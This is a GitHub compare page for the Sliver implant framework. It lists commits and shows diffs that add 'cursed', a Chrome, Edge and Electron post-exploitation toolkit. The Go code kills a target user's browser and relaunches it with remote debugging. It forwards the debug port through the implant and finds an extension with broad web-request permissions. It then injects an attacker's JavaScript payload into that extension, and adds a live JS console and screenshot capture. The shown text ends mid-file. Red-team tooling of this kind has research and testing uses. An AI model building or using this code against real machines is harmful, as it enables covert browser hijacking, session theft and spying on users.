Compare commits

...
42 Commits
Author SHA1 Message Date
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
486 changed files with 181261 additions and 3348 deletions

No files matched your search

+134 -1
View File
@@ -42,6 +42,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -3298,6 +3299,138 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+425
View File
@@ -0,0 +1,425 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+135
View File
@@ -0,0 +1,135 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+229
View File
@@ -0,0 +1,229 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
